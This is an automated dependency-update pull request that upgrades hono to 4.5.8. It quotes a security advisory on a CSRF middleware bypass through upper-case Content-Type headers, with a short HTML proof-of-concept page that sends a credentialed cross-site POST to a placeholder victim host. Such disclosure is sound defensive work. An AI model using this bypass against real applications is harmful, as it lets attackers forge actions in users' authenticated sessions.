chore(deps): update dependency hono to v4.5.8 [security]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
hono (source)	`4.5.6` -> `4.5.8`

GitHub Vulnerability Alerts

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Release Notes

honojs/hono (hono)

### [`v4.5.8`](https://togithub.com/honojs/hono/releases/tag/v4.5.8) [Compare Source](https://togithub.com/honojs/hono/compare/v4.5.7...v4.5.8) ##### Security Fix for CSRF Protection Middleware Before this release, in versions 4.5.7 and below, the CSRF Protection Middleware did not treat requests including `Content-Types` with uppercase letters (e.g., `Application/x-www-form-urlencoded`) as potential attacks, allowing them to pass. This could cause unexpected behavior, leading to a vulnerability. If you are using the CSRF Protection Middleware, please upgrade to version 4.5.8 or higher immediately. For more details, see the report here: https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5 ### [`v4.5.7`](https://togithub.com/honojs/hono/releases/tag/v4.5.7) [Compare Source](https://togithub.com/honojs/hono/compare/v4.5.6...v4.5.7) ##### What's Changed - fix(jsx/dom): Fixed a bug that caused Script elements to turn into Style elements. by [@usualoma](https://togithub.com/usualoma) in [https://github.com/honojs/hono/pull/3294](https://togithub.com/honojs/hono/pull/3294) - perf(jsx/dom): improve performance by [@usualoma](https://togithub.com/usualoma) in [https://github.com/honojs/hono/pull/3288](https://togithub.com/honojs/hono/pull/3288) - feat(jsx): improve a-tag types with well known values by [@ssssota](https://togithub.com/ssssota) in [https://github.com/honojs/hono/pull/3287](https://togithub.com/honojs/hono/pull/3287) - fix(validator): Fixed a bug in hono/validator where URL Encoded Data could not be validated if the Content-Type included charset. by [@uttk](https://togithub.com/uttk) in [https://github.com/honojs/hono/pull/3297](https://togithub.com/honojs/hono/pull/3297) - feat(jsx): improve `target` and `formtarget` attribute types by [@ssssota](https://togithub.com/ssssota) in [https://github.com/honojs/hono/pull/3299](https://togithub.com/honojs/hono/pull/3299) - docs(README): change Twitter to X by [@nakasyou](https://togithub.com/nakasyou) in [https://github.com/honojs/hono/pull/3301](https://togithub.com/honojs/hono/pull/3301) - fix(client): replace optional params to url correctly by [@yusukebe](https://togithub.com/yusukebe) in [https://github.com/honojs/hono/pull/3304](https://togithub.com/honojs/hono/pull/3304) - feat(jsx): improve input attribute types based on react by [@ssssota](https://togithub.com/ssssota) in [https://github.com/honojs/hono/pull/3302](https://togithub.com/honojs/hono/pull/3302) ##### New Contributors - [@uttk](https://togithub.com/uttk) made their first contribution in [https://github.com/honojs/hono/pull/3297](https://togithub.com/honojs/hono/pull/3297) **Full Changelog**: https://github.com/honojs/hono/compare/v4.5.6...v4.5.7

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

[ ] If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

risu729 / dotfiles